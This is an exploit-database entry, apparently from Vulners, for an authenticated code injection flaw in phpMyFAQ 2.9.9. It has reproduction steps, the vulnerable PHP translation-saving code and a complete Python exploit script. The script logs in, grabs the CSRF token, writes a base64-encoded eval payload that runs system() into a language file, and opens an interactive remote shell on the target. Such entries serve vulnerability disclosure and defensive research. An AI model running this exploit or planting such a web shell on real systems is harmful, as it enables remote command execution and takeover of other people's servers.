`# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]
# Google Dork: [NA]
# Date: [Nov 6 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [ http://www.phpmyfaq.de]
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]
# Version: [2.9.9]
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]
# CVE : [NA]
How to reproduce
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable
3. choose indonesia (or another language) to edit
4. choose page 14 (in example)
5. choose variable LANG_CONF[main.metaDescription]
6. set phpinfo() as value
7. change your languge to indonesia
vulnerable code
on file admin/ajax.trans.php
43 case 'save_page_buffer':
44 /*
45 * Build language variable definitions
46 * @todo Change input handling using PMF_Filter
47 */
48 foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {
49 if (is_string($val)) {
50 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
51 $val = str_replace("'", "\\'", $val);
52 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;
53 } elseif (is_array($val)) {
54 /*
55 * Here we deal with a two dimensional array
56 */
57 foreach ($val as $key2 => $val2) {
58 $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);
59 $val2 = str_replace("'", "\\'", $val2);
60 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;
61 }
62 }
63 }
64
65 foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {
66 // if string like array(blah-blah-blah), extract the contents inside the brackets
67 if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {
68 // split the resulting string of delimiters such as "number =>"
69 $valArr = preg_split(
70 '/\s*(\d+)\s*\=\>\s*/',
71 $matches1[1],
72 null,
73 PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY
74 );
75 $numVal = count($valArr);
76 if ($numVal > 1) {
77 $newValArr = [];
78 for ($i = 0; $i < $numVal; $i += 2) {
79 if (is_numeric($valArr[$i])) {
80 // clearing quotes
81 if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {
82 $subVal = $matches2[1];
83 // normalize quotes
84 $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);
85 $subVal = str_replace("'", "\\'", $subVal);
86 // assembly of the original substring back
87 $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';
88 }
89 }
90 }
91 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';
92 }
93 } else { // compatibility for old behavior
94 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);
95 $val = str_replace("'", "\\'", $val);
96 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;
97 }
98 }
99
100 echo 1;
101 break;
102
103 case 'save_translated_lang':
104
105 if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {
106 echo $PMF_LANG['err_NotAuth'];
107 exit;
108 }
109
110 $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);
111 $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';
112
113 if (!is_writable(PMF_ROOT_DIR.'/lang')) {
114 echo 0;
115 exit;
116 }
117
118 if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {
119 echo 0;
120 exit;
121 }
122
123 $newFileContents = '';
124 $tmpLines = [];
125
126 // Read in the head of the file we're writing to
127 $fh = fopen($filename, 'r');
128 do {
129 $line = fgets($fh);
130 array_push($tmpLines, rtrim($line));
131 } while ('*/' != substr(trim($line), -2));
132 fclose($fh);
133
134 // Construct lines with variable definitions
135 foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {
136 if (0 === strpos($key, 'PMF_LANG')) {
137 $val = "'$val'";
138 }
139 array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");
140 }
141
142 $newFileContents .= implode("\n", $tmpLines);
143
144 unset($_SESSION['trans']);
145
146 $retval = file_put_contents($filename, $newFileContents);
147 echo intval($retval);
148 break;
the exploit
-----------------------------------------------------------------
#! /usr/bin/python
import sys, requests, argparse, readline
def main(argv):
global url, user, password
parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')
parser.add_argument('-u','--url', help='target url',required=True)
parser.add_argument('-p','--password', help='password',required=True)
parser.add_argument('-s','--user', help='user',required=True)
args = parser.parse_args()
url = args.url
user = args.user
password = args.password
if __name__ == "__main__":
main(sys.argv[1:])
#get the cookie
def login():
global url, user, password,cookie
print "\033[1;33m>>>>>> logging in\033[1;m"
data = {"faqusername":user,"faqpassword":password}
headers = {
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
if "dashboard" in r.text:
print "\033[1;32m>>>>>> login sucessful\033[1;m"
cookie = r.cookies["PHPSESSID"]
check()
else:
print "login failed"
sys.exit()
#check if user has access to edit translations.
#get the crsf token
def check():
global url,cookie, csrf
print "\033[1;33m>>>>>> check user auth\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)
if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):
print "\033[1;32m>>>>>> authorized\033[1;m"
else:
print "not authorized"
sys.exit()
#get csrf token
str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )
csrf = str_csrf[1][0:40]
savebuffer()
#save payload to session
def savebuffer():
global url,cookie, csrf
print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {
"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'
}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)
if r.text=="1":
print "\033[1;32m>>>>>> success\033[1;m"
write2file()
else:
sys.exit()
#write payload to file
def write2file():
global url,cookie, csrf
print "\033[1;33m>>>>>> write payload to server\033[1;m"
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {}
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)
if r.text!="":
print "\033[1;32m>>>>>> success\033[1;m"
print "\033[1;32m>>>>>> enjoy your shell\033[1;m"
exploit('')
else:
sys.exit()
#send system command
def exploit(command):
global url,cookie
command = raw_input('\033[1;31mshell > \033[1;m')
if command == "exit":
print "goodbye"
sys.exit()
headers = {
'Accept': '*/*',
"Cookie":"PHPSESSID="+cookie
}
data = {"q":command,
"mati":"mati",
"language":"id"
}
r = requests.post(url+"/admin/index.php", headers=headers, data=data)
print r.text
exploit('')
login()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation